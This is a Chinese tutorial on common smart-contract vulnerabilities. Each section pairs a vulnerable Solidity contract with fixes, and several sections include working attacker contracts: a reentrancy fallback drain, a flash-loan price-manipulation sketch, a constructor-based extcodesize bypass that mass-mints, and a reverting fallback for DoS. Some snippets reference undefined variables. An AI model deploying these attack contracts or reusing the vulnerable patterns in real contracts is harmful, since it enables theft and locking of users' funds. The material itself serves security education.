合约常见漏洞分析
1. 重入攻击(Reentrancy Attack)
原理
重入攻击是智能合约中最危险的漏洞之一,本质上是一个状态同步问题。当智能合约调用外部函数时,执行流会转移到被调用的合约。如果调用合约未能正确同步状态,就可能在转移执行流时被再次调用,从而重复执行相同的代码逻辑。
流程
被攻击的合约调用了攻击合约的外部函数,并转移了执行流
在攻击合约函数中,利用某些技巧再次调用被攻击合约的漏洞函数
由于EVM是单线程的,重新进入漏洞函数时,合约状态并未被正确更新
伪代码示例
例如,以下伪代码展示了一个存在漏洞的提款逻辑:
// 漏洞合约示例
contract Vulnerable {
mapping(address => uint) public balances;
function withdraw() public {
uint amount = balances[msg.sender];
// 外部调用,当调用发生时,恶意合约可在fallback中反复调用withdraw函数
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// 状态更新在外部调用之后执行,存在被重入的风险
balances[msg.sender] = 0;
}
}
而攻击合约的伪代码则如下所示:
// 攻击合约示例
contract Attacker {
Vulnerable vulnerable;
constructor(address _vulnerable) {
vulnerable = Vulnerable(_vulnerable);
}
function attack() public {
vulnerable.withdraw();
}
// fallback函数用于在接收ETH时触发重入攻击
fallback() external payable {
if (address(vulnerable).balance >= 1 ether) {
vulnerable.withdraw(); // 递归调用withdraw函数
}
}
}
上述代码中,由于受害合约在向调用者外部发送ETH后才更新余额,恶意合约在fallback函数中成功触发重入调用,从而实现对合约资产的反复提款。
预防
针对重入攻击,以下几条安全措施尤为重要:
遵循 Checks-Effects-Interactions 模式:在执行任何外部调用之前,先对内部状态进行必要更新。
使用重入防护锁:例如引入互斥锁(mutex),防止在函数执行过程中被重复调用。OpenZeppelin 的
ReentrancyGuard
提供了一种通用的解决方案。限制外部调用和资金转移方式:尽量使用
transfer
或send
代替call
来降低重入风险,但同时应考虑到新的Gas机制问题。
修复后的伪代码示例如下:
contract Secure {
mapping(address => uint) public balances;
bool private locked = false; // 添加互斥锁
function withdraw() public {
require(!locked, "Reentrancy detected");
locked = true; // 加锁,防止重入
uint amount = balances[msg.sender];
// 先更新内部状态
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
locked = false; // 解锁
}
}
在本示例中,利用一个布尔变量来实现函数执行期间的锁定,确保在提款过程中不会出现多次重入的情况.
可视化展示:重入攻击与防护机制流程图
flowchart TD
A["开始提款请求"] --> B["检查余额"]
B --> C["获取提款金额"]
C --> D["执行外部调用(send/transfer)"]
D --> E["外部合约触发fallback"]
E --> F["在锁定状态下不允许重入"]
F --> G["返回正常流程"]
C --> H["更新内部余额状态"]
H --> I["结束提款请求"]
I --> END[END]
图 1:重入攻击漏洞利用及修复机制流程图,展示了在提款请求中先更新内部状态和锁定保护的重要性
2.整数溢出与下溢
原理
智能合约中,整数类型的运算错误也是非常常见的漏洞之一。由于以太坊虚拟机(EVM)对数值变量有固定的比特长度限制,因此在执行加、减、乘运算过程中如果超出该范围,将会发生溢出或下溢。例如,对于一个 uint8
类型,其值域为 0 至 255,当数值超过255时会回绕到 0,而当计数从 0 减少时则会回绕至最大值 255。
伪代码示例
在Solidity早期版本中(如0.7及以下版本),默认的算术操作不会进行溢出或下溢检测,导致攻击者可以利用这一特性操纵合约内部状态。例如下述转账函数中,若余额不足,将发生整数下溢,结果使得账户拥有近似最大值的余额:
contract Overflow {
mapping(address => uint8) public balances; // uint8 的范围为 0-255
function transfer(address to, uint8 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
// 当balances[msg.sender]为0且amount为1时,会发生下溢,结果为255
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
由此,攻击者能够通过设计特定的输入使合约产生异常行为,从而窃取或铸造大量代币。
预防
为了有效防止整数溢出和下溢漏洞,以下措施尤为关键:
升级编译器版本:使用 Solidity 0.8.0 及以上版本,因其内置了溢出和下溢检查机制,一旦检测到问题便自动回滚交易。
采用 SafeMath 库:对于仍在使用旧版本的合约,应引入 OpenZeppelin 的 SafeMath 库,确保每次算术操作都经过安全验证.
合理选取数据类型:避免使用过小的数据类型(如 uint8),推荐使用 uint256,以降低由于边界效应发生的风险。
修复后的代码示例(适用于Solidity 0.8.0+):
contract SafeMathDemo {
mapping(address => uint256) public balances; // 使用uint256确保更大数值范围
function transfer(address to, uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount; // 若发生下溢或上溢,自动revert
balances[to] += amount;
}
}
在这个版本中,由于编译器自动检查边界问题,因此可以有效避免因溢出或下溢引起的安全漏洞.
可视化展示:整数溢出与下溢漏洞对比表
表 1:整数溢出与下溢的基本比较表,帮助开发者直观了解不同数据类型的风险及应对方法
3.未授权访问
未授权访问问题通常源于合约中缺乏严格的权限控制机制,令攻击者可以调用敏感函数(如资金提现、配置修改等)进行非法操作。这类问题主要发生在合约设计时未对函数进行访问限制或在权限校验上存在漏洞。
原理
在设计不当的合约中,若没有对敏感函数设置适当的调用权限修饰符,例如 onlyOwner
,则任何网络上的用户均可调用这些函数。例如,下面的合约示例中,withdrawAll
函数未进行权限校验,导致任意用户都能调用并提取合约资产:
contract Unauthorized {
address public owner;
mapping(address => uint) public balances;
constructor() {
owner = msg.sender;
}
function withdrawAll() public {
// 未进行权限检查,任何用户均可调用
payable(msg.sender).transfer(address(this).balance);
}
}
攻击者只需简单构造交易,即可利用该漏洞提取整个合约的资产。
预防
为杜绝未授权访问漏洞,应采取如下措施:
严格的访问控制:在所有敏感函数前添加如
onlyOwner
的调用修饰符。使用成熟的角色管理方案:例如 OpenZeppelin 的
AccessControl
,来分层次管理合约访问权限。明确函数可见性:确保只对外公开必要的函数,不应将内部函数暴露给外部调用。
遵循最小权限原则:只授予执行特定任务所需的最小权限。
多重签名机制:关键操作需要多个独立批准。
修复后的代码示例如下:
contract Authorized {
address public owner;
constructor() {
owner = msg.sender;
}
// 定义onlyOwner修饰器
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
// withdrawAll函数仅允许合约创建者调用
function withdrawAll() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
}
4.时间依赖性漏洞
原理
当智能合约依赖区块时间戳执行关键功能时,存在被矿工操纵的风险。矿工可以在15秒内调整时间戳,这给依赖精确时间的合约带来安全隐患。
伪代码示例
存在时间戳依赖的合约:
text
contract TimeBasedLottery {
uint256 public constant LOTTERY_DURATION = 1 hours;
uint256 public lotteryStart;
mapping(address => uint256) public tickets;
function startLottery() public {
lotteryStart = block.timestamp;
}
function drawWinner() public returns (address) {
require(block.timestamp >= lotteryStart + LOTTERY_DURATION, "Lottery not ended");
// 使用时间戳生成随机数 - 可被操纵
uint256 randomIndex = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % participantCount;
return participants[randomIndex];
}
}
预防
避免使用时间戳生成随机数:使用Chainlink VRF等可验证随机函数
15秒规则:确保时间相关事件可以安全地变化15秒以上
使用区块号替代时间戳:但需注意区块时间可能变化
使用Oracle服务:引入一个可信的Oracle服务来提供不可篡改的时间戳,这样可以减少矿工操纵区块时间戳的影响。
增加时间缓冲区:在时间相关的逻辑中加入一定的缓冲时间,减少对精确时间戳的依赖
使用中位数时间协议(Median Time Protocol,MTP):类似于比特币网络中的中位数时间协议,可以使用最近多个区块时间戳的中位数来计算一个更稳定的时间参考点。
安全实现:
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract SecureLottery is VRFConsumerBase {
uint256 public lotteryStart;
uint256 public constant MIN_LOTTERY_DURATION = 1 hours;
bytes32 internal keyHash;
uint256 internal fee;
constructor() VRFConsumerBase(vrfCoordinator, linkToken) {
keyHash = 0x...; // Chainlink VRF key hash
fee = 0.1 * 10**18; // 0.1 LINK
}
function drawWinner() public returns (bytes32 requestId) {
require(block.timestamp >= lotteryStart + MIN_LOTTERY_DURATION, "Lottery duration not met");
return requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
uint256 winnerIndex = randomness % participantCount;
winner = participants[winnerIndex];
}
}
5.闪电贷攻击
原理
闪电贷攻击利用DeFi协议中的闪电贷机制,在同一笔交易中借入大量资金进行恶意操作,然后归还贷款。攻击者通常利用价格预言机操纵、流动性池操纵等手段获利。
流程
攻击者从DeFi协议借入大量资金
利用借来的资金操纵价格或触发漏洞
从操作中获得利润
归还借款并保留剩余利润12
伪代码示例
存在闪电贷风险的合约:
text
contract VulnerableOracle {
IUniswapV2Pair public pair;
function getPrice() public view returns (uint256) {
(uint112 reserve0, uint112 reserve1,) = pair.getReserves();
return (reserve1 * 1e18) / reserve0; // 简单的价格计算
}
}
contract VulnerableLending {
VulnerableOracle public oracle;
function borrow(uint256 amount) public {
uint256 ethPrice = oracle.getPrice();
uint256 collateralValue = userCollateral[msg.sender] * ethPrice;
require(collateralValue >= amount * 150 / 100, "Insufficient collateral");
// 发放贷款
loanAmount[msg.sender] += amount;
token.transfer(msg.sender, amount);
}
}
闪电贷攻击合约:
text
contract FlashLoanAttacker {
IFlashLoanProvider public flashLoanProvider;
VulnerableLending public lendingProtocol;
IUniswapV2Router public router;
function executeAttack(uint256 flashLoanAmount) external {
// 1. 发起闪电贷
flashLoanProvider.flashLoan(flashLoanAmount, abi.encode("attack"));
}
function receiveFlashLoan(uint256 amount, bytes calldata params) external {
// 2. 操纵价格预言机
// 用大量资金在Uniswap中买入ETH,推高ETH价格
router.swapExactTokensForTokens(
amount,
0,
getPath(USDC, WETH),
address(this),
block.timestamp + 300
);
// 3. 利用被操纵的价格借贷
uint256 maxBorrow = lendingProtocol.calculateMaxBorrow(address(this));
lendingProtocol.borrow(maxBorrow);
// 4. 还原价格并归还闪电贷
// ... 价格还原逻辑
// ... 归还闪电贷逻辑
}
}
预防
使用多个价格源:结合多个预言机避免单点操纵
时间加权平均价格(TWAP):使用历史价格数据平滑价格波动
设置价格变动阈值:限制单次价格变动幅度
延迟机制:关键操作引入时间延迟
安全的价格预言机:
text
解释contract SecureOracle {
uint256 public constant MAX_PRICE_CHANGE = 10; // 10%
uint256 public constant TIME_THRESHOLD = 300; // 5分钟
uint256 public lastPrice;
uint256 public lastUpdateTime;
function updatePrice() external {
uint256 currentPrice = getCurrentMarketPrice();
if (lastUpdateTime > 0) {
uint256 priceChange = currentPrice > lastPrice ?
(currentPrice - lastPrice) * 100 / lastPrice :
(lastPrice - currentPrice) * 100 / lastPrice;
require(priceChange <= MAX_PRICE_CHANGE ||
block.timestamp >= lastUpdateTime + TIME_THRESHOLD,
"Price change too large");
}
lastPrice = currentPrice;
lastUpdateTime = block.timestamp;
}
}
6.Gas限制与拒绝服务(DoS)攻击
在部分合约中,动态数组的遍历、复杂循环或不受限制的递归调用可能会导致交易消耗过多Gas,甚至触发拒绝服务(DoS)攻击。攻击者通过构造大量耗气操作的交易,有可能阻塞合约正常功能的执行。
预防
限制循环次数;
对迭代数据结构进行分页处理;
设计时充分考虑Gas消耗问题。
7.抢先交易(Front-Running)
原理
抢先交易是指在一笔正常交易等待打包的过程中,抢跑机器人通过设置更高Gas费用抢先完成攻击交易。最典型的是三明治攻击(Sandwich Attack),攻击者在用户交易前后各执行一笔交易来获利。
流程
监听mempool中的待处理交易
发送更高Gas价格的抢跑交易
在用户交易后发送尾随交易
通过价格滑点获利
预防
使用commit-reveal模式:分两步提交交易
批量拍卖机制:集中处理交易
私有内存池:使用如Flashbots等服务
8.选择器碰撞
原理
1. 函数选择器
以太坊合约函数通过**keccak256(函数签名)**后的前4字节作为selector(选择器),用于识别要调用的函数。
由于selector只有4字节(32位),大量不同的函数签名将不可避免地产生哈希碰撞(即不同签名得到一样的selector)。
2. 低级Call与权限绕过
一些合约(如代理、桥或特定跨链合约)允许外部通过字符串参数生成selector进行低级
call
,实现“万能”调用。部分关键函数本应限制合约自身才能调用(如
require(msg.sender == address(this))
),本意是禁止外部账户直连调用。
3. 攻击原理
攻击者找出某个特殊字符串,拼接参数后keccak256出来的selector正好与敏感受限函数一致。
然后利用低级call,造成合约“自call自”,绕过
msg.sender
限制,实现未授权操作。
contract SelectorClash {
bool public solved; // 攻击是否成功
// 攻击者需要调用这个函数,但是调用者 msg.sender 必须是本合约。
function putCurEpochConPubKeyBytes(bytes memory _bytes) public {
require(msg.sender == address(this), "Not Owner");
solved = true;
}
// 有漏洞,攻击者可以通过改变 _method 变量碰撞函数选择器,调用目标函数并完成攻击。
function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){
(success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num)));
}
}
流程
分析目标合约代码
找出有通过字符串生成selector并低级call
自身的函数(如executeCrossChainTx(string memory _method, ...)
)。寻找敏感受限函数
寻找如require(msg.sender == address(this))
之类权限检查的函数,这些函数通常只能让合约自身调用。构造选择器碰撞
编写脚本或爆破工具,
枚举不同的_method字符串(如
f1121318093
),拼上合约里的签名后缀(如
(bytes,bytes,uint64)
),直至
keccak256(字符串)
的前4字节等于目标函数selector。
参数准备与低级call
用找到的碰撞字符串作为_method,
构造合适_args参数,调用
executeCrossChainTx
等万能call函数。
实现越权调用
由于合约用call自己,
msg.sender == address(this)
,权限检查通过,实际就是利用selector碰撞越权调用并完成攻击目标。
预防
避免“万能call”接口
尽量不要暴露允许用户输入任意方法名/参数并直接低级call自身的接口。
增加函数选择器的唯一性与校验
对允许动态调用的接口,增加白名单机制,仅允许“已审核安全的selector/方法签名”被调用。
可对接收的_method字段附加额外约束校验,而非只靠selector。
安全设计权限逻辑
即使需要合约间自调用,也避免
msg.sender == address(this)
作为唯一安全门槛。更安全做法是结合访问限制修饰器(如onlyOwner、只允许合约管理员等)。
检测函数选择器碰撞
开发阶段通过自动脚本检查所有外部所有函数是否存在selector碰撞,提高警觉。
升级编码标准
社区推荐:如采用多参数、多类型混合签名或其它方式增加selector空间,降低碰撞风险。
长远考虑使用更强的访问控制和多重验证。
9.绕过合约检查
原理
合约字节码存储
智能合约在部署到以太坊链上后,字节码会永久性存储在合约地址对应的区块链数据中。每个合约部署成功后,都可以通过合约地址查到其“runtime bytecode”。extcodesize
检查机制
通过extcodesize(address)
可以获取某个以太坊地址上的字节码长度,从而判断该地址是否为合约(代码长度>0)还是普通钱包(长度=0)。许多合约会用此逻辑限制“只有人类地址才能执行某些敏感操作”,例如mint。部署期间检测失效原理
在合约的constructor(构造函数)内执行时,虽然合约地址已生成,但合约字节码还没写入区块链,这个阶段extcodesize(address(this))
返回0。也就是说,任何用此方法防止合约调用的检查都可以被合约在constructor中轻松绕过。
流程
目标合约部署了含
isContract
等限制的函数(如mint)
例如:
require(!isContract(msg.sender), "Contract not allowed!");
攻击者编写一个攻击合约(比如NotContract)
这个合约的constructor里循环去调用目标合约的受限制函数。部署攻击合约时
攻击合约constructor中的代码(如批量mint)会以合约自身身份、且extcodesize(address(this))==0
的状态下执行,绕过了检测。合约被部署后
再用相同合约地址参与会被拦住(因为这时字节码已部署,extcodesize(address)>0
了),但攻击已完成。
// 用extcodesize检查是否为合约地址
contract ContractCheck is ERC20 {
// 构造函数:初始化代币名称和代号
constructor() ERC20("", "") {}
// 利用 extcodesize 检查是否为合约
function isContract(address account) public view returns (bool) {
// extcodesize > 0 的地址一定是合约地址
// 但是合约在构造函数时候 extcodesize 为0
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
// mint函数,只有非合约地址能调用(有漏洞)
function mint() public {
require(!isContract(msg.sender), "Contract not allowed!");
_mint(msg.sender, 100);
}
}
// 利用构造函数的特点攻击
contract NotContract {
bool public isContract;
address public contractCheck;
// 当合约正在被创建时,extcodesize (代码长度) 为 0,因此不会被 isContract() 检测出。
constructor(address addr) {
contractCheck = addr;
isContract = ContractCheck(addr).isContract(address(this));
// This will work
for(uint i; i < 10; i++){
ContractCheck(addr).mint();
}
}
// 合约创建好以后,extcodesize > 0,isContract() 可以检测
function mint() external {
ContractCheck(contractCheck).mint();
}
}
预防
不要只依靠
extcodesize
检测限制合约调用。
因为合约在constructor中总能绕过此判断。提升业务逻辑的严谨性,采用多重身份认证。
领域权限制、签名校验、白名单等结合使用,而不是单一“反合约调用”手段。慎用
tx.origin
进行校验
例如尝试用require(tx.origin == msg.sender)
,但也不是绝对安全,并且未来EVM升级(如EIP-3074)可能让这种方法失效。关注社区安全建议
跟进社区主流安全实践和最新的合约检测绕过手法,合理升级合约设计。
10.拒绝服务攻击
原理
定义:在Web2,DoS是指大量无用请求使服务器无法服务正常用户。在Web3,DoS则是利用智能合约漏洞,使合约业务无法正常运作,用户或项目方无法进行下一步操作。
典型场景:Akutar NFT项目曾因退款逻辑的DoS漏洞,导致约3400万美元等值ETH被永久锁定,不能取回。
重点原理剖析
循环退款与回调陷阱:合约在批量执行操作(如批量退款)时,一旦资金接收地址为恶意合约,利用
fallback
函数内的revert
可以导致关键逻辑(如循环退款)整体失败。外部调用不可控性:合约外部调用(如
call
)可能触发对方合约的恶意逻辑,阻断原本流程。
流程
正常流程:用户存款,合约记录存款与用户,操作完成后批量操作(如退款)。
攻击流程:
恶意合约调用目标合约参与游戏/功能。
恶意合约
fallback
中直接revert
所有对其的ETH转账。一旦批量操作(如退款)遍历恶意合约到达该玩家时即失败,导致后续流程全部终止,资金锁死。
例子流程(基于文档代码):
正常用户参与并退款 → OK。
恶意用户参与,退款阶段只要轮到该地址
call
失败,全体流程终止,资金卡住。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
// 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用refund退钱。
contract DoSGame {
bool public refundFinished;
mapping(address => uint256) public balanceOf;
address[] public players;
// 所有玩家存ETH到合约里
function deposit() external payable {
require(!refundFinished, "Game Over");
require(msg.value > 0, "Please donate ETH");
// 记录存款
balanceOf[msg.sender] = msg.value;
// 记录玩家地址
players.push(msg.sender);
}
// 游戏结束,退款开始,所有玩家将依次收到退款
function refund() external {
require(!refundFinished, "Game Over");
uint256 pLength = players.length;
// 通过循环给所有玩家退款
for(uint256 i; i < pLength; i++){
address player = players[i];
uint256 refundETH = balanceOf[player];
(bool success, ) = player.call{value: refundETH}("");
require(success, "Refund Fail!");
balanceOf[player] = 0;
}
refundFinished = true;
}
function balance() external view returns(uint256){
return address(this).balance;
}
}
contract Attack {
// 退款时进行DoS攻击
fallback() external payable{
revert("DoS Attack!");
}
// 参与DoS游戏并存款
function attack(address gameAddr) external payable {
DoSGame dos = DoSGame(gameAddr);
dos.deposit{value: msg.value}();
}
}
预防措施
外部调用失败处理
尽量避免外部调用影响主流程(如将
require(success, "Refund Fail!");
去掉,失败不阻断整体操作)。
避免无限循环和非预期自毁
谨慎设计合约流程,防止因为单一用户行为导致流程阻塞或合约自毁。
妥善设置
require
/assert
条件
确保所有参数校验合理,不会意外阻止主业务。
采用拉式(pull)退款
让用户主动领取自己的退款,而不是合约批量推送到用户(push),从根本上防止恶意中断批量过程。
回调兼容性检查
保证回调函数无法影响主执行逻辑,可将关键操作顺序调整或限制外部调用。
防范owner/管理员失联情形
设计业务时要避免合约核心功能依赖单一角色操作。